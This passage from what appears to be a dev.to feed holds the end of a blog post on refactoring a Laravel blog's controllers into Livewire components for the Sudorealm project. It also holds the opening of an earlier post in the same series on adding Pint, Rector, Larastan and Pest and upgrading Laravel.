                &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'background'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
            &lt;span class="s1"&gt;'tags'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="s1"&gt;'affiliates'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$query&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$query&lt;/span&gt;
                &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;byActivated&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
                &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'affiliate_category'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="p"&gt;])&lt;/span&gt;
            &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;loadCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'crowns'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'affiliates'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;hasCrownedPost&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;crowned_by_user&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;crown&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt; &lt;span class="kt"&gt;?RedirectResponse&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nc"&gt;Auth&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;check&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'login'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;hasCrownedPost&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;removeCrown&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Auth&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;user&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;crown&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Auth&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;user&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;hasCrownedPost&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;hasCrownedPost&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;CrownNotFoundException&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="nc"&gt;DuplicateCrownException&lt;/span&gt; &lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nc"&gt;Log&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$e&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getMessage&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The refactored code improves the original in several ways:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Eliminates multiple queries for the same &lt;code&gt;Post&lt;/code&gt; model&lt;/li&gt;
&lt;li&gt;Eager loads relationships in one optimized &lt;code&gt;load()&lt;/code&gt; call&lt;/li&gt;
&lt;li&gt;Selects only needed fields from related models to avoid excess data&lt;/li&gt;
&lt;li&gt;Properly uses authorization via the PostPolicy&lt;/li&gt;
&lt;li&gt;Loads additional relationships only after authorization check&lt;/li&gt;
&lt;li&gt;No more unreachable code&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These improvements result in more efficient queries, better separation of concerns, and cleaner, more maintainable code. Livewire's use of &lt;strong&gt;PHP attributes&lt;/strong&gt; for layouts is a fresh approach. However, this component can still be improved with: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Consider caching for better performance&lt;/li&gt;
&lt;li&gt;Decoupling crown functionality&lt;/li&gt;
&lt;li&gt;Introducing Policy for the Crowning &lt;/li&gt;
&lt;li&gt;Refactoring with Query Object pattern&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But those are tasks for another &lt;strong&gt;Late Night Refactor&lt;/strong&gt; session. The current changes are a solid step forward in maintainability and organization.&lt;/p&gt;

&lt;h2&gt;
  
  
  Blog Index Pages
&lt;/h2&gt;

&lt;p&gt;In &lt;a href="https://sudorealm.com" rel="noopener noreferrer"&gt;Sudorealm&lt;/a&gt;, I've been wrestling with a few blog section pages that index posts: &lt;strong&gt;Index by Category&lt;/strong&gt;, &lt;strong&gt;Index by Tag&lt;/strong&gt;, and &lt;strong&gt;Index by User&lt;/strong&gt; (the Main Index will live to fight another day). &lt;/p&gt;

&lt;p&gt;Here's the thing, these pages are all being called by the same controller, which violates everything I hold holy in software development! I'm not even sure what past-me was thinking, but hey, what can I say? We all have those moments, right?&lt;/p&gt;

&lt;p&gt;The Controller was looking something like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;BlogController&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;Controller&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;indexCategoryPosts&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Category&lt;/span&gt; &lt;span class="nv"&gt;$category&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'blog.category.index'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
            &lt;span class="s1"&gt;'category'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$category&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;indexTagPosts&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;Tag&lt;/span&gt; &lt;span class="nv"&gt;$tag&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;view&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'blog.tag.index'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
            &lt;span class="s1"&gt;'tag'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$tag&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
 &lt;span class="c1"&gt;// And so the nightmare continues...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, the code itself isn't bad,  it's the architecture that's giving me a migraine. So here's the clean, organized structure I'm moving towards:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;app/Http/Livewire/Blog
├── Category
│   └── CategoryPostIndexComponent.php
├── Tag
│   └── TagPostIndexComponent.php
├── User
│   └── UserPostIndexComponent.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This new structure follows clean naming conventions and creates a logical organization that makes sense. It's much easier to build a mental model of the project now, and as a bonus, &lt;strong&gt;debugbar&lt;/strong&gt; becomes way more useful when using livewire components! &lt;/p&gt;

&lt;p&gt;The actions I will be taking for all of these functions are: &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Create the new Livewire components. &lt;/li&gt;
&lt;li&gt;Replace the old web routes with the new ones and add better restful names to them. &lt;/li&gt;
&lt;li&gt;Add &lt;code&gt;wire:navigate&lt;/code&gt; to all the links that call these routes. &lt;/li&gt;
&lt;li&gt;Delete the old, now unused, blade files. &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I'll walk you through refactoring one of these components, worry not! I won't make you sit through all of them. They follow the same pattern, and I respect your time (and sanity) too much for that mindless repetition!&lt;/p&gt;

&lt;h2&gt;
  
  
  Refactor Result
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;web.php&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;name&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'category.'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;group&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="c1"&gt;// Before&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;  &lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/category/{category:slug}'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nc"&gt;BlogController&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'indexCategoryPosts'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;name&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'index'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;//After&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;  &lt;span class="nc"&gt;Route&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'realm/{slug}'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;CategoryPostIndexComponent&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;class&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;name&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'post.index'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// now the name is category.post.index 🧼✨&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now the &lt;code&gt;web.php&lt;/code&gt; serves as a proper roadmap for new developers, giving them a clearer picture of how the project is structured,  the way routing files were always meant to be!&lt;/p&gt;

&lt;p&gt;I also took the executive decision to rename category URLs to &lt;strong&gt;realms&lt;/strong&gt;. Will this destroy my SEO? Probably. Do I care? A little. Is it what it is? You bet it is! Moving on. 😎&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CategoryPostIndexComponent.php&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sail artisan livewire:make Blog/Category/CategoryPostIndexComponent
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This name might look like a mouthful, but there's a method to the madness here:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Category&lt;/strong&gt; tells us exactly what model we're dealing with.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Post&lt;/strong&gt; shows we're handling blog posts.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Index&lt;/strong&gt; indicates it's a listing page.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Component&lt;/strong&gt; because, well, it's a Livewire component!
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class="k"&gt;declare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strict_types&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kn"&gt;namespace&lt;/span&gt; &lt;span class="nn"&gt;App\Http\Livewire\Blog\Category&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;App\Models\Category&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;Livewire\Attributes\Layout&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;use&lt;/span&gt; &lt;span class="nc"&gt;Livewire\Component&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nf"&gt;Layout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'layouts.guest'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="s1"&gt;'leftSidebar'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'rightSidebar'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'hideHeader'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;])]&lt;/span&gt;
&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;CategoryPostIndexComponent&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;Component&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;Category&lt;/span&gt; &lt;span class="nv"&gt;$category&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;mount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="nv"&gt;$slug&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;category&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Category&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;query&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;where&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'slug'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$slug&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;firstOrFail&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a pretty straightforward Livewire component, as you can see, nothing groundbreaking happens in the code itself. But what we get in return is sweet: a cleaner codebase, plus we can leverage &lt;code&gt;wire:navigate&lt;/code&gt; to give &lt;a href="https://sudorealm.com" rel="noopener noreferrer"&gt;Sudorealm&lt;/a&gt; that smooth SPA feel when users bounce between pages. Is this a feature-driven refactor? Well, kind of! If &lt;code&gt;wire:navigate&lt;/code&gt; wasn't in the picture, I probably would've just gone with &lt;em&gt;invokable controllers&lt;/em&gt; and called it a day. But sometimes new features push us to rethink our architecture, and that's not a bad thing at all!&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;📝 &lt;strong&gt;Sidenote&lt;/strong&gt;: I will surely cache queries like this forever. They don't have to be called at every click. &lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;There's another late-night refactor lurking in the shadows, 🥷  those frequent queries aren't going to cache themselves! But that's a story for another nocturnal coding session. 😏&lt;/p&gt;

&lt;h2&gt;
  
  
  Finishing Up
&lt;/h2&gt;

&lt;p&gt;That was a refreshing late-night refactoring session, not only did I get to clean up Sudorealm&lt;a href="https://sudorealm.com" rel="noopener noreferrer"&gt;Sudorealm&lt;/a&gt;'s codebase, but I also took another step towards the great Livewireazation of the project. Sometimes the best refactors are the ones that spark joy while pushing you forward! &lt;/p&gt;

&lt;p&gt;Key takeaways: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;🦋 Small Decisions, Big Impact&lt;/strong&gt;: Breaking down the monolithic BlogController into focused Livewire components made the codebase cleaner and more maintainable.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;📝 Descriptive Naming Pays Off&lt;/strong&gt;: Taking the time to create meaningful, descriptive component names might feel verbose, but it makes the codebase self-documenting. &lt;em&gt;Your 3 AM coding self will thank you&lt;/em&gt;!&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;🗺️ Routes as Documentation&lt;/strong&gt;: Clean routing files serve as a natural map of your application.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;🎯 Progressive Enhancement&lt;/strong&gt;: Not every improvement needs to happen at once. While this refactor tackled component organization, we identified future opportunities (like query caching) for another late-night session.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;👷‍♂️ 🔦 Code Spelunking Uncovers Hidden Treasures (and Bugs)&lt;/strong&gt;: Duplicate queries lurking in dark corners, unnecessarily loaded models gathering dust, unreachable code frozen in time, and authorization logic begging to be moved to proper policies. Sometimes the best way to find bugs is to strap on your spelunking gear and explore your old code caves!&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The entire saga of this late-night refactor will be available in the branch &lt;code&gt;lnr2-controllers-to-livewire-components&lt;/code&gt; once I open-source the project. All future Late Night Refactor sessions will follow this naming pattern, so you can trace my struggles, victories, and occasional 1 to 3 AM coding revelations. Stay tuned for more late-night code MMA fighting! 🥊&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F84srrobd90i1tmgmy248.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F84srrobd90i1tmgmy248.gif" alt="khabib" width="480" height="270"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>laravel</category>
      <category>livewire</category>
      <category>refactor</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Late Night Refactors #1: Composer Packages</title>
      <dc:creator>Thanos Stantzouris</dc:creator>
      <pubDate>Thu, 06 Feb 2025 18:44:33 +0000</pubDate>
      <link>https://dev.to/d3adr1nger/late-night-refactors-1-composer-packages-2oak</link>
      <guid>https://dev.to/d3adr1nger/late-night-refactors-1-composer-packages-2oak</guid>
      <description>&lt;p&gt;This is the start of something I have never done before! &lt;br&gt;
I welcome you all to the beginning of my first blog post series: &lt;strong&gt;Late Night Refactors&lt;/strong&gt; 🎉🥳&lt;/p&gt;

&lt;p&gt;In this series of &lt;strong&gt;X&lt;/strong&gt; blog posts, I will share the great journey of refactoring (duh...&lt;em&gt;) **Sudorealm&lt;/em&gt;* from scratch. I'll take it apart step by step and improve it from the ground up. &lt;/p&gt;

&lt;p&gt;Sudorealm is a side project, so mainly, I am coding it during the times when the sun is no longer shining, and these are also the times that I'll be writing these reactors.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stay with me now!&lt;/strong&gt; Many were the times that I rewrote Sudorealm so that it could accommodate better features, better technologies, and whatnot. But this time is different! This time, I am bringing you along for the ride. I’ll share everything so you can either apply it to your own projects or maybe even spot a refactor I didn’t think of! HAHA!&lt;/p&gt;

&lt;p&gt;Jokes aside, the real goal here is to build a sustainable, future-proof codebase, one that others can contribute to and help maintain. In short... &lt;strong&gt;I’m open-sourcing Sudorealm&lt;/strong&gt;!  There, I said it! I’m finally unleashing my monster upon the world! &lt;em&gt;After the final refactor, of course.&lt;/em&gt; ❤️ Hopefully, we’ll both learn something in the process!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fi.giphy.com%2Ftze1mGedykiuk.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fi.giphy.com%2Ftze1mGedykiuk.webp" alt="it's alive! Gif" width="245" height="240"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Ready! Set! Go! 💥
&lt;/h2&gt;

&lt;p&gt;Alright, the first thing I need to refactor is the very foundation of how I write code... &lt;em&gt;duun dunduuun&lt;/em&gt;!&lt;/p&gt;

&lt;p&gt;I need to ensure that Sudorealm stands on a clean, consistent, and maintainable codebase. That means adopting the right tools to improve code quality, enforce standards, and catch potential issues before they become nightmares on Realm Street 👻.&lt;/p&gt;

&lt;p&gt;This is where Pint, Rector, Larastan, and Pest come into play.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;🖌 &lt;strong&gt;Pint&lt;/strong&gt; will keep my code style clean and consistent, so I don’t waste time formatting manually.&lt;/li&gt;
&lt;li&gt;🛠 &lt;strong&gt;Rector&lt;/strong&gt; will help automate code upgrades and refactors, making my life easier as the project evolves.&lt;/li&gt;
&lt;li&gt;🔍 &lt;strong&gt;Larastan&lt;/strong&gt; will act as my strict type-checking guardian, catching subtle bugs that I’d otherwise miss.&lt;/li&gt;
&lt;li&gt;🧪 &lt;strong&gt;Pest&lt;/strong&gt; will bring modern, expressive, and Laravel-friendly testing to ensure everything works as expected.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;By setting up these tools from the start, I’m laying a strong foundation for future development—because a good refactor isn’t just about changing code, it’s about writing better code.&lt;/p&gt;

&lt;p&gt;Now, let’s get our hands dirty and start transforming Sudorealm!&lt;/p&gt;
&lt;h2&gt;
  
  
  Laravel Upgrade
&lt;/h2&gt;

&lt;p&gt;Before diving headfirst into refactoring, the first step was upgrading Sudorealm to the latest version of Laravel 11 at the time. &lt;strong&gt;Why&lt;/strong&gt;? Because a proper refactor isn’t just about cleaning up code, it’s about keeping up. Staying on the latest version ensures:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Security&lt;/strong&gt; 🔒 – Outdated software is a hacker’s playground. Keeping Laravel up to date means patching vulnerabilities before they become real threats.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;New Features&lt;/strong&gt; ✨ – The ecosystem moves forward, and so do the best packages. Sticking to an old version means missing out on powerful new features and improvements.&lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;A neglected codebase is like an abandoned house, it doesn’t fall apart overnight, but one day, you’ll wake up to find it unlivable.&lt;/em&gt; &lt;br&gt;
